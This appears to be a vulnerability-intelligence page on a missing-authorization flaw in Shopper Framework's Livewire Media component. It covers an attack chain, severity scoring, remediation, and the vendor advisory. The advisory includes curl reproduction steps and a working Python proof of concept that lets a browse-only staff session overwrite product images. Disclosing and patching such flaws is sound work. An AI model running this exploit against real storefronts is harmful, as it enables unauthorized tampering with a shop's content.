Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate with browse_products staff credential
-
DeliveryBrowse target product edit pages to collect Livewire snapshot JSONs
-
ExploitExtract locked product ID from snapshot
-
ExecutionPOST store() call to /livewire/update with captured snapshot
-
ImpactProduct thumbnail and gallery images overwritten without edit_products permission
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V8 - Authorization Authorization checks on every request
MITRE ATT&CK
1 technique across 1 tactic: Privilege Escalation The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires an active authenticated session in the Shopper admin panel with at minimum the |
| Impact | The CVSS 6.5 Medium rating (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N) accurately reflects the attack profile: network-accessible, low complexity, requires a valid staff session (PR:L), no user interaction, with integrity-only impact scoped to product media data. No EPSS data was provided and the vulnerability is not listed in CISA KEV, indicating no confirmed active exploitation at time of analysis. The advisory-embedded Python PoC is fully functional, lowering the barrier to exploitation. Real-world risk is most meaningful in multi-staff e-commerce deployments where |
| Exploit ScenarioDerived | A staff account holding only |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Sep 11, 2026
Missing authorization in Shopper Framework's Livewire Media component (Media.store()) allows any authenticated staff user holding only browse_products to overwrite product thumbnail and gallery images without the required edit_products permission. This is an incomplete fix: the prior patch for GHSA-h4mp-g9c6-xwph (commit fcd0c59) added #[Locked] to the $product property but omitted the authorize() call present in the five sibling components it did repair (Edit, Inventory, Seo, Shipping, Files). A fully functional proof-of-concept is included in the advisory; vendor-released patch is version 2.9.2. No public exploit identifier at time of analysis beyond the advisory PoC.
RemediationAI
Upgrade Shopper Framework to version 2.9.2 or later, which adds $this->authorize('edit_products') to Media.store(), closing the gap left by the prior partial fix. The vendor advisory is at https://github.com/shopperlabs/shopper/security/advisories/GHSA-99h5-jhh7-v3r3. If immediate upgrade is not feasible, the most targeted compensating control is to temporarily remove the browse_products-only role from all staff accounts that do not require catalog browsing without edit rights, eliminating the session-based snapshot capture prerequisite. Alternatively, a WAF or middleware rule blocking POST bodies to /livewire/update that contain a store method call on the Media component path can suppress exploitation, but may interfere with legitimate Livewire functionality and requires careful testing. Neither workaround substitutes for the upstream patch.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in composer, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Shopper Framework is a Laravel/Livewire-based e-commerce admin package distributed via Composer (pkg:composer/shopper_framework). Livewire exposes PHP component methods as server-side actions invokable via authenticated POST requests to the /livewire/update endpoint. The affected file is packages/admin/src/Livewire/Components/Products/Form/Media.php at lines 64-76. The #[Locked] attribute (added in the prior partial fix) prevents client-side manipulation of the bound $product property, but Livewire's own authorization layer - Laravel's authorize() - is never invoked in store(). CWE-862 (Missing Authorization) is the precise root cause: the permission gate authorize('edit_products') exists in all five sibling Livewire sub-form components but was overlooked in the Media component during the original remediation, leaving a residual privilege-escalation surface within the admin panel's role-based access control model.
Know when PHP gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Requires authenticated staff session (PR:L); admin endpoint is network-reachable (AV:N); impact is integrity-only on product media (I:H, C:N, A:N); no scope change.
Primary rating from Vendor (https://github.com/shopperlabs/shopper).
CVSS VectorVendor: https://github.com/shopperlabs/shopper
DescriptionCVE.org
Title
Missing authorization on Media sub-form store action allows unpermissioned product media update
Description
A lack of authorization control on the store() method was found in packages/admin/src/Livewire/Components/Products/Form/Media.php. The security fix released for GHSA-h4mp-g9c6-xwph added #[Locked] to the $product property in this file but did not add an authorize() call to store(). The commit message for that fix (fcd0c59) explicitly names the five repaired sub-form components: Edit, Inventory, Seo, Shipping, Files. Media is absent from that list and absent from the published advisory. As a result, any authenticated admin-panel session, including a staff user holding only browse_products, can invoke store() on this component to replace the thumbnail and gallery images for any product without holding edit_products. Because $product is now #[Locked], the attacker cannot redirect the write to an arbitrary product from the client side, but the permission gate is still absent, so the write succeeds against whichever product the component was initialized for.
Severity
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N Score: 6.5 (Medium)
Affected files
packages/admin/src/Livewire/Components/Products/Form/Media.php:64-76
// Lines 64-76 - store() with no authorize() call
public function store(): void
{
$this->validate();
$this->product->update($this->form->getState()); // overwrites thumbnail + gallery media
$this->dispatch('product.updated');
Notification::make()
->body(__('shopper::pages/products.notifications.media_update'))
->success()
->send();
}The five sibling components that were fixed in commit fcd0c59 each now have:
public function store(): void
{
$this->authorize('edit_products'); // present in Edit, Inventory, Seo, Shipping, Files
// ...
}Media.store() does not.
Steps to reproduce
Prerequisites: an admin-panel account whose role holds browse_products but NOT edit_products.
SESSION="laravel_session=<your_session_value>"
XSRF="<url-decoded-XSRF-TOKEN-cookie-value>"
# Step 1: Load a product edit page as an admin to obtain the Media component's
# Livewire snapshot ID and the product's public ID.
# The component snapshot appears in the HTML source as data-livewire-snapshot.
# Step 2: As the low-privilege browse-only session, call store() on the Media component,
# pointing at the captured component state.
curl -s -X POST http://localhost/shopper/livewire/update \
-H "Content-Type: application/json" \
-H "X-XSRF-TOKEN: $XSRF" \
-H "Cookie: $SESSION" \
-H "X-Livewire: 1" \
-d '{
"components": [{
"snapshot": "<snapshot JSON from page source with product locked>",
"updates": {},
"calls": [{"path":"","method":"store","params":[]}]
}]
}'
# Expected: HTTP 200, product thumbnail and images updated without edit_products.Proof of concept
#!/usr/bin/env python3
"""
Media component authorization bypass PoC.
Set these environment variables before running:
BASE_URL e.g. http://localhost
SESSION_COOKIE laravel_session cookie value (browse-only staff session)
XSRF_TOKEN URL-decoded XSRF-TOKEN cookie value
SNAPSHOT_JSON the full Livewire snapshot JSON string for the Media component
(copy from data-livewire-snapshot in the product edit page source)
The snapshot already contains the locked product ID, so no ID substitution is needed.
The bypass is purely the missing authorize() on store().
"""
import json
import os
import requests
base_url = os.environ['BASE_URL']
session = os.environ['SESSION_COOKIE']
xsrf = os.environ['XSRF_TOKEN']
snapshot = os.environ['SNAPSHOT_JSON']
headers = {
'Content-Type': 'application/json',
'Accept': 'text/html, application/xhtml+xml',
'X-XSRF-TOKEN': xsrf,
'Cookie': f'laravel_session={session}',
'X-Livewire': '1',
}
payload = {
'components': [{
'snapshot': snapshot,
'updates': {},
'calls': [{'path': '', 'method': 'store', 'params': []}]
}]
}
r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload)
print(f'Status: {r.status_code}')
print(r.text[:500])Impact
A staff member with only browse_products can update the thumbnail and product image gallery for any product. On a storefront, this means replacing product images with adversarial content (defaced images, misleading product photos) without leaving an edit trail that an admin watching the product edit history would normally associate with a permission-holding editor. The impact is limited to the products whose edit pages the attacker has visited in their browser session (the product ID is locked server-side), but that covers every product the browse-only user has ever loaded.
Suggested fix
// packages/admin/src/Livewire/Components/Products/Form/Media.php
public function store(): void
{
$this->authorize('edit_products'); // add this line
$this->validate();
$this->product->update($this->form->getState());
$this->dispatch('product.updated');
Notification::make()
->body(__('shopper::pages/products.notifications.media_update'))
->success()
->send();
}Credits
Reported by Vishal Shukla (@shukla304 / @therawdev).
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
EUVD-2026-78920
GHSA-99h5-jhh7-v3r3
NVD
CVE.org
EPSS
Exploit-DB